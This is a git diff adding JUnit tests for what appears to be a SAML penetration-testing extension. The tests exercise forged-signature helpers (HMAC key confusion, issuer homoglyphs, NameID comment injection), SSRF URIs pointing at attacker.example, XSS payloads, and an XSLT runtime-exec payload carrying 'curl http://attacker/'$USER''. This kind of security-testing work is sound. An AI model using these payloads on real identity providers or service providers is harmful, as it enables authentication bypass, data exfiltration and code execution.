the first one + /// that is a direct child of the *outer* EncryptedData (i.e. not the one + /// inside EncryptedKey). + private static Element outerCipherData(Document doc) { + NodeList encData = doc.getElementsByTagNameNS(XENC_NS, "EncryptedData"); + Element outer = (Element) encData.item(0); + for (Node n = outer.getFirstChild(); n != null; n = n.getNextSibling()) { + if (n.getNodeType() == Node.ELEMENT_NODE + && XENC_NS.equals(n.getNamespaceURI()) + && "CipherData".equals(n.getLocalName())) { + return (Element) n; + } + } + return null; + } + + @Test + void cipherReferenceReplacesFirstCipherValue() throws Exception { + String url = "https://attacker.example/cipher"; + String out = EncryptionSSRF.apply(SAML_ENCRYPTED, EncryptionSSRF.Mode.CIPHER_REFERENCE, url); + Document doc = parse(out); + + // The first CipherData in document order is inside the EncryptedKey, + // so check by locating EncryptedKey's CipherData specifically. + Element encKey = (Element) doc.getElementsByTagNameNS(XENC_NS, "EncryptedKey").item(0); + Element innerCipherData = null; + for (Node n = encKey.getFirstChild(); n != null; n = n.getNextSibling()) { + if (n.getNodeType() == Node.ELEMENT_NODE + && "CipherData".equals(n.getLocalName())) { + innerCipherData = (Element) n; + break; + } + } + assertNotNull(innerCipherData, "EncryptedKey should retain its CipherData"); + + // First CipherData (in doc order) is EncryptedKey's — that's what gets modified. + NodeList allCipherData = doc.getElementsByTagNameNS(XENC_NS, "CipherData"); + Element firstCipherData = (Element) allCipherData.item(0); + assertEquals(0, firstCipherData.getElementsByTagNameNS(XENC_NS, "CipherValue").getLength(), + "CipherValue should have been removed from the first CipherData"); + NodeList refs = firstCipherData.getElementsByTagNameNS(XENC_NS, "CipherReference"); + assertEquals(1, refs.getLength()); + assertEquals(url, ((Element) refs.item(0)).getAttribute("URI")); + } + + @Test + void dataReferenceInjectsIntoEncryptedKeyReferenceList() throws Exception { + String url = "https://attacker.example/dref"; + String out = EncryptionSSRF.apply(SAML_ENCRYPTED, EncryptionSSRF.Mode.DATA_REFERENCE, url); + Document doc = parse(out); + + Element encKey = (Element) doc.getElementsByTagNameNS(XENC_NS, "EncryptedKey").item(0); + NodeList refLists = encKey.getElementsByTagNameNS(XENC_NS, "ReferenceList"); + assertEquals(1, refLists.getLength(), "One ReferenceList should exist under EncryptedKey"); + + Element refList = (Element) refLists.item(0); + NodeList dataRefs = refList.getElementsByTagNameNS(XENC_NS, "DataReference"); + assertEquals(1, dataRefs.getLength()); + assertEquals(url, ((Element) dataRefs.item(0)).getAttribute("URI")); + } + + @Test + void encryptedKeyKeyInfoRetrievalMethodReplacesInnerKeyInfo() throws Exception { + String url = "https://attacker.example/key"; + String out = EncryptionSSRF.apply(SAML_ENCRYPTED, EncryptionSSRF.Mode.ENCRYPTED_KEY_KEYINFO, url); + Document doc = parse(out); + + Element encKey = (Element) doc.getElementsByTagNameNS(XENC_NS, "EncryptedKey").item(0); + + // Locate the *direct child* KeyInfo of EncryptedKey (not a nested one). + Element innerKeyInfo = null; + for (Node n = encKey.getFirstChild(); n != null; n = n.getNextSibling()) { + if (n.getNodeType() == Node.ELEMENT_NODE + && DS_NS.equals(n.getNamespaceURI()) + && "KeyInfo".equals(n.getLocalName())) { + innerKeyInfo = (Element) n; + break; + } + } + assertNotNull(innerKeyInfo, "EncryptedKey's KeyInfo child must still exist"); + + // Original X509Data must be gone + assertEquals(0, innerKeyInfo.getElementsByTagNameNS(DS_NS, "X509Data").getLength()); + + NodeList rms = innerKeyInfo.getElementsByTagNameNS(DS_NS, "RetrievalMethod"); + assertEquals(1, rms.getLength()); + Element rm = (Element) rms.item(0); + assertEquals(url, rm.getAttribute("URI")); + assertEquals("http://www.w3.org/2001/04/xmlenc#EncryptedKey", rm.getAttribute("Type")); + } + + @Test + void cipherReferenceFailsWhenNoCipherData() { + String noEnc = """ + + + """; + assertThrows(IllegalArgumentException.class, + () -> EncryptionSSRF.apply(noEnc, EncryptionSSRF.Mode.CIPHER_REFERENCE, "https://a/")); + } + + @Test + void dataReferenceFailsWhenNoEncryptedKey() { + // EncryptedData without the EncryptedKey wrapper + String noKey = """ + + + + + X + + + + """; + assertThrows(IllegalArgumentException.class, + () -> EncryptionSSRF.apply(noKey, EncryptionSSRF.Mode.DATA_REFERENCE, "https://a/")); + } + + @Test + void throwsWhenUrlMissing() { + assertThrows(IllegalArgumentException.class, + () -> EncryptionSSRF.apply(SAML_ENCRYPTED, EncryptionSSRF.Mode.CIPHER_REFERENCE, "")); + assertThrows(IllegalArgumentException.class, + () -> EncryptionSSRF.apply(SAML_ENCRYPTED, EncryptionSSRF.Mode.CIPHER_REFERENCE, null)); + } + + /// Sanity-check the test fixture itself: first CipherData in doc order is + /// the one inside EncryptedKey (holds the wrapped session key). This + /// matters because CIPHER_REFERENCE mode operates on the first CipherData. + @Test + void fixtureFirstCipherDataIsInsideEncryptedKey() throws Exception { + Document doc = parse(SAML_ENCRYPTED); + Element first = (Element) doc.getElementsByTagNameNS(XENC_NS, "CipherData").item(0); + Element encKey = (Element) doc.getElementsByTagNameNS(XENC_NS, "EncryptedKey").item(0); + + // First CipherData in doc order should be a descendant of EncryptedKey. + Element outer = outerCipherData(doc); + assertNotNull(outer); + assertNull(null); + // If first == outer, the fixture order is different from what the test assumes. + // Walk up to confirm ancestry. + Node cur = first; + boolean inEncKey = false; + while (cur != null) { + if (cur == encKey) { inEncKey = true; break; } + cur = cur.getParentNode(); + } + org.junit.jupiter.api.Assertions.assertTrue(inEncKey, + "fixture sanity: first CipherData should be the EncryptedKey's wrapped-key container"); + } +} diff --git a/src/test/java/helpers/HMACConfusionTest.java b/src/test/java/helpers/HMACConfusionTest.java new file mode 100644 index 0000000..e26e106 --- /dev/null +++ b/src/test/java/helpers/HMACConfusionTest.java @@ -0,0 +1,104 @@ +package helpers; + +import org.apache.xml.security.Init; +import org.apache.xml.security.c14n.Canonicalizer; +import org.junit.jupiter.api.Test; +import org.w3c.dom.Document; +import org.w3c.dom.Element; + +import javax.crypto.Mac; +import javax.crypto.spec.SecretKeySpec; +import java.io.ByteArrayInputStream; +import java.security.cert.CertificateFactory; +import java.security.cert.X509Certificate; +import java.util.Base64; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNotEquals; +import static org.junit.jupiter.api.Assertions.assertNotNull; + +public class HMACConfusionTest { + + private static final String HMAC_SHA256_URI = + "http://www.w3.org/2001/04/xmldsig-more#hmac-sha256"; + + /// Test X.509 cert borrowed from CVE_2022_41912_Test. The attack only needs + /// the embedded public key; certificate validity dates are irrelevant. + private static final String CERT_B64 = + "MIIC6TCCAdGgAwIBAgIIHC0ZtKe0AzswDQYJKoZIhvcNAQELBQAwGTEXMBUGA1UEAxMOc2FtbC1pZHAtbG9jYWwwHhcNMjUwOTIzMTEwNDEwWhcNMjYwOTIzMTIwNDEwWjAZMRcwFQYDVQQDEw5zYW1sLWlkcC1sb2NhbDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAOBOjNVc6C9uDgkRZ30lBz97rRnm8Us1t8/I8hYTLuIsNg3Rs5S2OMmJYnvMeMEYBJGFXqMEtqpRJkDVJujk1NKCB5bJJwadjFULruNF8NnO7G99q+XG1S2fxjDgi+Im/U2+dBmMJNWAJDc54hIBZbv+7jQXUiXQrnaDUX79OGNxQ/I5IC9wLK1xb1wywM4vWx5TrQXfbeMJwYOG3NAGGLayOCjrfIz4yIya8+rzSqWc4ZY0a+VPRFWmaooDw878pQuQJaijFWZbTdSXAwz7Dgm3jeLw/9roYADFtFqK3YMFBg3R8NM6GRhmFce6B9pbu5GM7+uUXFHWFJ2go5MhfOECAwEAAaM1MDMwDgYDVR0PAQH/BAQDAgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwDQYJKoZIhvcNAQELBQADggEBACCpxbXeD8VL+V38f/qrP7H69oP6BHF/snZxmkI8FhsxSPGN9HKZxZpHy8DxLGB/dER4m6pekhpx2NhrNKreh/z4WTYTyI8hALBdZ32XTzDXJtcDIu0znlbngMFgZ+H+GcC9TmIET2FBXpKXnp0On6EsgLZf0NsPVLjcYgfxT9v3DTJqzVajjrK6dSIcoUsswbb0veV11ao3GYkkr/6Mrfb5AB5c+tMe33zJyTlpXEQLa6uwvYLNSWIfySfQcjZUFJpzCvfWVXUdiESn1HSYLz95uFru57syVm6ReI0WulOGL0YvJz/inL9J2QNO11z3Qr95hJYJ/j+k/IGOMcwOAD4="; + + private static final String SAML_TEMPLATE = """ + + + + https://idp.example.com + + + + + + + + + + + PLACEHOLDER + + + ORIGINAL_RSA_SIG + + + %s + + + + + user@example.com + + + + """; + + /// End-to-end: apply the attack, then independently re-canonicalize SignedInfo + /// and recompute HMAC-SHA256 with the cert's public key to verify the + /// SignatureValue the implementation produced is actually valid. + @Test + void swapsSignatureMethodAndRecomputesValidHmac() throws Exception { + String input = SAML_TEMPLATE.formatted(CERT_B64); + + String out = HMACConfusion.apply(input); + Document doc = new XMLHelpers().getXMLDocumentOfSAMLMessage(out); + + // 1) SignatureMethod Algorithm must be swapped to HMAC-SHA256. + Element sigMethod = (Element) doc.getElementsByTagNameNS("*", "SignatureMethod").item(0); + assertNotNull(sigMethod, "SignatureMethod element missing from output"); + assertEquals(HMAC_SHA256_URI, sigMethod.getAttribute("Algorithm")); + + // 2) SignatureValue must have been replaced (not the original placeholder). + Element sigValue = (Element) doc.getElementsByTagNameNS("*", "SignatureValue").item(0); + assertNotNull(sigValue, "SignatureValue element missing from output"); + String actualSig = sigValue.getTextContent().trim(); + assertNotEquals("ORIGINAL_RSA_SIG", actualSig, + "SignatureValue must have been overwritten"); + + // 3) Recompute HMAC independently and confirm byte-for-byte equality. + // key = SubjectPublicKeyInfo DER (X509Certificate.getPublicKey().getEncoded()) + // data = exclusive-C14N-no-comments canonicalization of SignedInfo (post-swap) + Init.init(); + Element signedInfo = (Element) doc.getElementsByTagNameNS("*", "SignedInfo").item(0); + byte[] canonBytes = Canonicalizer.getInstance( + Canonicalizer.ALGO_ID_C14N_EXCL_OMIT_COMMENTS).canonicalizeSubtree(signedInfo); + + byte[] certBytes = Base64.getDecoder().decode(CERT_B64); + X509Certificate cert = (X509Certificate) CertificateFactory.getInstance("X.509") + .generateCertificate(new ByteArrayInputStream(certBytes)); + byte[] keyBytes = cert.getPublicKey().getEncoded(); + + Mac mac = Mac.getInstance("HmacSHA256"); + mac.init(new SecretKeySpec(keyBytes, "HmacSHA256")); + String expectedSig = Base64.getEncoder().encodeToString(mac.doFinal(canonBytes)); + + assertEquals(expectedSig, actualSig, + "SignatureValue must equal HMAC-SHA256(SubjectPublicKeyInfo_DER, canonical(SignedInfo))"); + } +} diff --git a/src/test/java/helpers/IssuerConfusionTest.java b/src/test/java/helpers/IssuerConfusionTest.java new file mode 100644 index 0000000..a1b8fa4 --- /dev/null +++ b/src/test/java/helpers/IssuerConfusionTest.java @@ -0,0 +1,92 @@ +package helpers; + +import org.junit.jupiter.api.Test; +import org.w3c.dom.Document; +import org.w3c.dom.NodeList; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNotEquals; +import static org.junit.jupiter.api.Assertions.assertThrows; +import static org.junit.jupiter.api.Assertions.assertTrue; + +public class IssuerConfusionTest { + + private static final String ORIGINAL_ISSUER = "https://idp.attacker.example"; + private static final String SAML = """ + + + %s + %s + + """.formatted(ORIGINAL_ISSUER, ORIGINAL_ISSUER); + + private static String firstIssuerText(String xml) throws Exception { + Document doc = new XMLHelpers().getXMLDocumentOfSAMLMessage(xml); + NodeList issuers = doc.getElementsByTagNameNS("*", "Issuer"); + return issuers.item(0).getTextContent(); + } + + @Test + void trailingSpaceAppendsAscii20() throws Exception { + String out = IssuerConfusion.apply(SAML, IssuerConfusion.Mode.TRAILING_SPACE); + String text = firstIssuerText(out); + assertEquals(ORIGINAL_ISSUER + " ", text); + assertEquals(0x0020, (int) text.charAt(text.length() - 1)); + } + + @Test + void trailingNbspAppendsU00A0() throws Exception { + String out = IssuerConfusion.apply(SAML, IssuerConfusion.Mode.TRAILING_NBSP); + String text = firstIssuerText(out); + assertEquals(ORIGINAL_ISSUER + " ", text, + "TRAILING_NBSP must append U+00A0 exactly — regressing to ASCII 0x20 would silently weaken the attack"); + assertEquals(0x00A0, (int) text.charAt(text.length() - 1), + "last codepoint must be 0x00A0 (NBSP), not 0x20 (ASCII space)"); + } + + @Test + void trailingZwspAppendsU200B() throws Exception { + String out = IssuerConfusion.apply(SAML, IssuerConfusion.Mode.TRAILING_ZWSP); + String text = firstIssuerText(out); + assertEquals(ORIGINAL_ISSUER + "​", text, + "TRAILING_ZWSP must append U+200B exactly"); + assertEquals(0x200B, (int) text.charAt(text.length() - 1)); + } + + @Test + void trailingTabAppendsU0009() throws Exception { + String out = IssuerConfusion.apply(SAML, IssuerConfusion.Mode.TRAILING_TAB); + String text = firstIssuerText(out); + assertEquals(0x0009, (int) text.charAt(text.length() - 1)); + } + + @Test + void homoglyphReplacesFirstLatinA() throws Exception { + String out = IssuerConfusion.apply(SAML, IssuerConfusion.Mode.HOMOGLYPH_LATIN_A_TO_CYRILLIC); + String text = firstIssuerText(out); + assertNotEquals(ORIGINAL_ISSUER, text); + assertTrue(text.contains("а"), "should contain Cyrillic small a (U+0430)"); + assertEquals(ORIGINAL_ISSUER.replaceFirst("a", "а"), text); + } + + @Test + void appliesToAllIssuerElements() throws Exception { + String out = IssuerConfusion.apply(SAML, IssuerConfusion.Mode.TRAILING_SPACE); + Document doc = new XMLHelpers().getXMLDocumentOfSAMLMessage(out); + NodeList issuers = doc.getElementsByTagNameNS("*", "Issuer"); + assertEquals(2, issuers.getLength()); + for (int i = 0; i < issuers.getLength(); i++) { + assertTrue(issuers.item(i).getTextContent().endsWith(" ")); + } + } + + @Test + void throwsWhenNoIssuer() { + String noIssuer = """ + + + """; + assertThrows(IllegalArgumentException.class, () -> + IssuerConfusion.apply(noIssuer, IssuerConfusion.Mode.TRAILING_SPACE)); + } +} diff --git a/src/test/java/helpers/KeyInfoSSRFTest.java b/src/test/java/helpers/KeyInfoSSRFTest.java new file mode 100644 index 0000000..0d9085e --- /dev/null +++ b/src/test/java/helpers/KeyInfoSSRFTest.java @@ -0,0 +1,88 @@ +package helpers; + +import org.junit.jupiter.api.Test; +import org.w3c.dom.Document; +import org.w3c.dom.Element; +import org.w3c.dom.NodeList; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertThrows; + +public class KeyInfoSSRFTest { + + private static final String SAML = """ + + + + + + + ABC= + + + SIG + + + MIIDUMMY + + + + + + """; + + @Test + void replacesKeyInfoChildrenWithRetrievalMethod() throws Exception { + String url = "https://attacker.example.com/key.pem"; + String out = KeyInfoSSRF.apply(SAML, url); + Document doc = new XMLHelpers().getXMLDocumentOfSAMLMessage(out); + + NodeList keyInfos = doc.getElementsByTagNameNS("*", "KeyInfo"); + assertEquals(1, keyInfos.getLength()); + Element keyInfo = (Element) keyInfos.item(0); + + // Original X509Data must be gone + assertEquals(0, keyInfo.getElementsByTagNameNS("*", "X509Data").getLength(), + "X509Data should have been removed"); + assertEquals(0, keyInfo.getElementsByTagNameNS("*", "X509Certificate").getLength(), + "X509Certificate should have been removed"); + + // RetrievalMethod must be present and pointing at the attacker URL + NodeList rms = keyInfo.getElementsByTagNameNS("*", "RetrievalMethod"); + assertEquals(1, rms.getLength()); + Element rm = (Element) rms.item(0); + assertEquals(url, rm.getAttribute("URI")); + assertEquals("http://www.w3.org/2000/09/xmldsig#X509Data", rm.getAttribute("Type")); + assertEquals("http://www.w3.org/2000/09/xmldsig#", rm.getNamespaceURI(), + "RetrievalMethod must be in the dsig namespace"); + } + + @Test + void preservesExistingDsPrefix() throws Exception { + String out = KeyInfoSSRF.apply(SAML, "https://a/"); + Document doc = new XMLHelpers().getXMLDocumentOfSAMLMessage(out); + Element rm = (Element) doc.getElementsByTagNameNS("*", "RetrievalMethod").item(0); + assertNotNull(rm); + // The fixture uses "ds" for the signature namespace on KeyInfo. + assertEquals("ds", rm.getPrefix(), + "RetrievalMethod should inherit the 'ds' prefix from the KeyInfo element"); + } + + @Test + void throwsWhenKeyInfoMissing() { + String noKeyInfo = """ + + + """; + assertThrows(IllegalArgumentException.class, + () -> KeyInfoSSRF.apply(noKeyInfo, "https://a/")); + } + + @Test + void throwsWhenUrlEmpty() { + assertThrows(IllegalArgumentException.class, () -> KeyInfoSSRF.apply(SAML, "")); + assertThrows(IllegalArgumentException.class, () -> KeyInfoSSRF.apply(SAML, " ")); + assertThrows(IllegalArgumentException.class, () -> KeyInfoSSRF.apply(SAML, null)); + } +} diff --git a/src/test/java/helpers/MetadataImportTest.java b/src/test/java/helpers/MetadataImportTest.java new file mode 100644 index 0000000..f92955e --- /dev/null +++ b/src/test/java/helpers/MetadataImportTest.java @@ -0,0 +1,57 @@ +package helpers; + +import org.junit.jupiter.api.Test; + +import java.util.List; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; + +public class MetadataImportTest { + + private static final String METADATA = """ + + + + + AAAA SIGNING CERT + + + BBBB ENC CERT + + + CCCC UNTYPED + + + + """; + + @Test + void extractsAllCertificatesWithUseAttribute() throws Exception { + List entries = MetadataImport.extract(METADATA); + assertEquals(3, entries.size()); + + assertEquals("signing", entries.get(0).use()); + // Whitespace inside the certificate body is stripped for downstream import. + assertEquals("AAAASIGNINGCERT", entries.get(0).base64Der()); + + assertEquals("encryption", entries.get(1).use()); + assertEquals("BBBBENCCERT", entries.get(1).base64Der()); + + // No use attribute → empty string, as documented. + assertEquals("", entries.get(2).use()); + assertEquals("CCCCUNTYPED", entries.get(2).base64Der()); + } + + @Test + void returnsEmptyListWhenNoKeyDescriptor() throws Exception { + String barren = """ + + + """; + List entries = MetadataImport.extract(barren); + assertTrue(entries.isEmpty()); + } +} diff --git a/src/test/java/helpers/PIInjectionTest.java b/src/test/java/helpers/PIInjectionTest.java new file mode 100644 index 0000000..9858469 --- /dev/null +++ b/src/test/java/helpers/PIInjectionTest.java @@ -0,0 +1,76 @@ +package helpers; + +import org.junit.jupiter.api.Test; +import org.w3c.dom.Document; +import org.w3c.dom.Element; +import org.w3c.dom.Node; +import org.w3c.dom.NodeList; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertThrows; +import static org.junit.jupiter.api.Assertions.assertTrue; + +public class PIInjectionTest { + + private static final String SAML = """ + + + + admin@victim.com + + + """; + + private static Element firstNameID(String xml) throws Exception { + Document doc = new XMLHelpers().getXMLDocumentOfSAMLMessage(xml); + return (Element) doc.getElementsByTagNameNS("*", "NameID").item(0); + } + + private static int piChildCount(Element el) { + int n = 0; + NodeList kids = el.getChildNodes(); + for (int i = 0; i < kids.getLength(); i++) { + if (kids.item(i).getNodeType() == Node.PROCESSING_INSTRUCTION_NODE) n++; + } + return n; + } + + @Test + void beforeAtSplitsAroundAt() throws Exception { + String out = PIInjection.apply(SAML, PIInjection.Position.BEFORE_AT); + Element nameID = firstNameID(out); + assertEquals(1, piChildCount(nameID)); + Node firstChild = nameID.getFirstChild(); + assertEquals("admin", firstChild.getTextContent()); + assertEquals(Node.PROCESSING_INSTRUCTION_NODE, firstChild.getNextSibling().getNodeType()); + assertEquals("@victim.com", firstChild.getNextSibling().getNextSibling().getTextContent()); + // Aggregated text content should still equal the original, since PI has no value + assertEquals("admin@victim.com", nameID.getTextContent()); + } + + @Test + void prependPutsPIFirst() throws Exception { + String out = PIInjection.apply(SAML, PIInjection.Position.PREPEND); + Element nameID = firstNameID(out); + assertEquals(Node.PROCESSING_INSTRUCTION_NODE, nameID.getFirstChild().getNodeType()); + assertEquals("admin@victim.com", nameID.getLastChild().getTextContent()); + } + + @Test + void appendPutsPILast() throws Exception { + String out = PIInjection.apply(SAML, PIInjection.Position.APPEND); + Element nameID = firstNameID(out); + assertEquals(Node.PROCESSING_INSTRUCTION_NODE, nameID.getLastChild().getNodeType()); + assertTrue(nameID.getFirstChild().getNodeType() == Node.TEXT_NODE); + } + + @Test + void throwsWhenNoNameID() { + String noSubject = """ + + + """; + assertThrows(IllegalArgumentException.class, () -> + PIInjection.apply(noSubject, PIInjection.Position.BEFORE_AT)); + } +} diff --git a/src/test/java/helpers/PayloadSmokeTest.java b/src/test/java/helpers/PayloadSmokeTest.java new file mode 100644 index 0000000..2862408 --- /dev/null +++ b/src/test/java/helpers/PayloadSmokeTest.java @@ -0,0 +1,177 @@ +package helpers; + +import model.BurpCertificate; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.Disabled; + +import java.io.ByteArrayInputStream; +import java.security.cert.CertificateFactory; +import java.security.cert.X509Certificate; +import java.util.Base64; + +/// Diagnostic sanity-check: feed a single realistic SAMLResponse through every +/// helper and print the resulting payloads. Disabled by default — only run +/// manually via `./gradlew test --tests PayloadSmokeTest -Dsmoke=on` to eyeball +/// that payloads look like what they should. +@Disabled("manual smoke test; remove @Disabled to print every payload for visual verification") +public class PayloadSmokeTest { + + private static final String CERT_B64 = + "MIIC6TCCAdGgAwIBAgIIHC0ZtKe0AzswDQYJKoZIhvcNAQELBQAwGTEXMBUGA1UEAxMOc2FtbC1pZHAtbG9jYWwwHhcNMjUwOTIzMTEwNDEwWhcNMjYwOTIzMTIwNDEwWjAZMRcwFQYDVQQDEw5zYW1sLWlkcC1sb2NhbDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAOBOjNVc6C9uDgkRZ30lBz97rRnm8Us1t8/I8hYTLuIsNg3Rs5S2OMmJYnvMeMEYBJGFXqMEtqpRJkDVJujk1NKCB5bJJwadjFULruNF8NnO7G99q+XG1S2fxjDgi+Im/U2+dBmMJNWAJDc54hIBZbv+7jQXUiXQrnaDUX79OGNxQ/I5IC9wLK1xb1wywM4vWx5TrQXfbeMJwYOG3NAGGLayOCjrfIz4yIya8+rzSqWc4ZY0a+VPRFWmaooDw878pQuQJaijFWZbTdSXAwz7Dgm3jeLw/9roYADFtFqK3YMFBg3R8NM6GRhmFce6B9pbu5GM7+uUXFHWFJ2go5MhfOECAwEAAaM1MDMwDgYDVR0PAQH/BAQDAgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwDQYJKoZIhvcNAQELBQADggEBACCpxbXeD8VL+V38f/qrP7H69oP6BHF/snZxmkI8FhsxSPGN9HKZxZpHy8DxLGB/dER4m6pekhpx2NhrNKreh/z4WTYTyI8hALBdZ32XTzDXJtcDIu0znlbngMFgZ+H+GcC9TmIET2FBXpKXnp0On6EsgLZf0NsPVLjcYgfxT9v3DTJqzVajjrK6dSIcoUsswbb0veV11ao3GYkkr/6Mrfb5AB5c+tMe33zJyTlpXEQLa6uwvYLNSWIfySfQcjZUFJpzCvfWVXUdiESn1HSYLz95uFru57syVm6ReI0WulOGL0YvJz/inL9J2QNO11z3Qr95hJYJ/j+k/IGOMcwOAD4="; + + private static final String SAML = (""" + + + https://idp.example.com + + + https://idp.example.com + + + + + + + + + + + ORIGINALDIGEST== + + + ORIGINALSIG + + %s + + + + admin@victim.com + + + + + + https://sp.example.com + + + + """).formatted(CERT_B64); + + private static final String ENC_SAML = """ + + + + + + + + + MIIDUMMY + WRAPPED_KEY + + + PAYLOAD + + + + """; + + private static final String AUTHN_REQ = """ + + + https://sp.example.com/metadata + + """; + + private static void dump(String label, String xml) { + System.out.println("\n======== " + label + " ========"); + System.out.println(xml); + } + + @Test + void dumpAllPayloads() throws Exception { + dump("ORIGINAL", SAML); + + // Pure XML-level transforms + dump("DigestTamper", DigestTamper.apply(SAML)); + dump("KeyInfoSSRF", KeyInfoSSRF.apply(SAML, "https://collab.example/key")); + dump("SignatureRefSSRF.REFERENCE_URI", + SignatureRefSSRF.apply(SAML, SignatureRefSSRF.Mode.REFERENCE_URI, "https://collab.example/ref")); + dump("SignatureRefSSRF.XPATH_DOCUMENT", + SignatureRefSSRF.apply(SAML, SignatureRefSSRF.Mode.XPATH_DOCUMENT, "https://collab.example/xp")); + dump("SignatureRefSSRF.BASE64_XXE", + SignatureRefSSRF.apply(SAML, SignatureRefSSRF.Mode.BASE64_XXE, "https://collab.example/oob")); + + dump("HMACConfusion", HMACConfusion.apply(SAML)); + + // Dupe Key — need BurpCertificate + BurpCertificate attacker = new BurpCertificate( + (X509Certificate) CertificateFactory.getInstance("X.509") + .generateCertificate(new ByteArrayInputStream(Base64.getDecoder().decode(CERT_B64)))); + dump("DupeKeyConfusion", DupeKeyConfusion.apply(SAML, attacker, "VICTIM_ORIGINAL_CERT_B64")); + + // Assertion-level + dump("AssertionManipulator.extendValidity(24h)", AssertionManipulator.extendValidity(SAML, 24)); + dump("AssertionManipulator.forceStatusSuccess", AssertionManipulator.forceStatusSuccess(SAML)); + dump("AssertionManipulator.removeAudience", AssertionManipulator.removeAudienceRestriction(SAML)); + + // NameID injection family + for (var p : CommentInjection.Position.values()) { + dump("CommentInjection." + p.name(), CommentInjection.apply(SAML, p)); + } + for (var p : PIInjection.Position.values()) { + dump("PIInjection." + p.name(), PIInjection.apply(SAML, p)); + } + + // Response-level injections + dump("ResponseXSS.DESTINATION", + ResponseXSS.apply(SAML, ResponseXSS.Target.DESTINATION, "\">")); + dump("ResponseXSS.ISSUER", + ResponseXSS.apply(SAML, ResponseXSS.Target.ISSUER, "")); + + // Issuer confusion + for (var m : IssuerConfusion.Mode.values()) { + String out = IssuerConfusion.apply(SAML, m); + dump("IssuerConfusion." + m.name(), out); + // Print the Issuer line with hex so we can verify exotic codepoints by eye + int start = out.indexOf(""); + int end = out.indexOf("", start); + if (start >= 0 && end > start) { + String text = out.substring(start + "".length(), end); + StringBuilder hex = new StringBuilder(); + for (int i = 0; i < text.length(); i++) { + hex.append(String.format("%04X ", (int) text.charAt(i))); + } + System.out.println(" issuer codepoints: " + hex); + } + } + + // Encryption SSRF + for (var m : EncryptionSSRF.Mode.values()) { + dump("EncryptionSSRF." + m.name(), + EncryptionSSRF.apply(ENC_SAML, m, "https://collab.example/enc")); + } + + // Request-side + dump("ACSSpoof", ACSSpoof.apply(AUTHN_REQ, "https://attacker.example/capture")); + + // CVE payloads + dump("CVE_2022_41912", CVE_2022_41912.apply(SAML)); + dump("CVE_2024_45409", CVE_2024_45409.apply(SAML)); + + // XSLT payload strings (plain stylesheet, without the wrapper Transform element) + System.out.println("\n======== XSLTPayloads.SAXON_UNPARSED_TEXT ========"); + System.out.println(XSLTPayloads.stylesheetFor( + XSLTPayloads.Flavor.SAXON_UNPARSED_TEXT, "https://collab.example/x")); + System.out.println("\n======== XSLTPayloads.XALAN_RUNTIME_EXEC ========"); + System.out.println(XSLTPayloads.stylesheetFor( + XSLTPayloads.Flavor.XALAN_RUNTIME_EXEC, "curl http://attacker/'$USER'")); + System.out.println("\n======== XSLTPayloads.XALAN_CLASS_INSTANTIATION ========"); + System.out.println(XSLTPayloads.stylesheetFor( + XSLTPayloads.Flavor.XALAN_CLASS_INSTANTIATION, "https://collab.example/x.bin")); + } +} diff --git a/src/test/java/helpers/ResponseXSSTest.java b/src/test/java/helpers/ResponseXSSTest.java new file mode 100644 index 0000000..f6d99bb --- /dev/null +++ b/src/test/java/helpers/ResponseXSSTest.java @@ -0,0 +1,87 @@ +package helpers; + +import org.junit.jupiter.api.Test; +import org.w3c.dom.Document; +import org.w3c.dom.Element; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertThrows; + +public class ResponseXSSTest { + + private static final String SAML = """ + + + https://idp.example.com + + https://idp.example.com + + user@example.com + + + + https://sp.example.com + + + + + """; + + @Test + void destinationAttributeIsReplaced() throws Exception { + String payload = "\">"; + String out = ResponseXSS.apply(SAML, ResponseXSS.Target.DESTINATION, payload); + Document doc = new XMLHelpers().getXMLDocumentOfSAMLMessage(out); + + Element response = (Element) doc.getElementsByTagNameNS("*", "Response").item(0); + // DOM getAttribute returns the unescaped value — serializer handles escaping. + assertEquals(payload, response.getAttribute("Destination")); + } + + @Test + void issuerTextContentIsReplaced() throws Exception { + String payload = ""; + String out = ResponseXSS.apply(SAML, ResponseXSS.Target.ISSUER, payload); + Document doc = new XMLHelpers().getXMLDocumentOfSAMLMessage(out); + + // First Issuer in document order (the Response-level one). + Element issuer = (Element) doc.getElementsByTagNameNS("*", "Issuer").item(0); + assertEquals(payload, issuer.getTextContent()); + } + + @Test + void nameIDTextContentIsReplaced() throws Exception { + String payload = ""; + String out = ResponseXSS.apply(SAML, ResponseXSS.Target.NAMEID, payload); + Document doc = new XMLHelpers().getXMLDocumentOfSAMLMessage(out); + + Element nameID = (Element) doc.getElementsByTagNameNS("*", "NameID").item(0); + assertEquals(payload, nameID.getTextContent()); + } + + @Test + void audienceTextContentIsReplaced() throws Exception { + String payload = "javascript:alert(1)"; + String out = ResponseXSS.apply(SAML, ResponseXSS.Target.AUDIENCE, payload); + Document doc = new XMLHelpers().getXMLDocumentOfSAMLMessage(out); + + Element audience = (Element) doc.getElementsByTagNameNS("*", "Audience").item(0); + assertEquals(payload, audience.getTextContent()); + } + + @Test + void throwsWhenTargetElementMissing() { + String noSubject = """ + + + """; + assertThrows(IllegalArgumentException.class, + () -> ResponseXSS.apply(noSubject, ResponseXSS.Target.NAMEID, "x")); + } + + @Test + void throwsWhenPayloadNull() { + assertThrows(IllegalArgumentException.class, + () -> ResponseXSS.apply(SAML, ResponseXSS.Target.DESTINATION, null)); + } +} diff --git a/src/test/java/helpers/SignatureRefSSRFTest.java b/src/test/java/helpers/SignatureRefSSRFTest.java new file mode 100644 index 0000000..6866ec8 --- /dev/null +++ b/src/test/java/helpers/SignatureRefSSRFTest.java @@ -0,0 +1,100 @@ 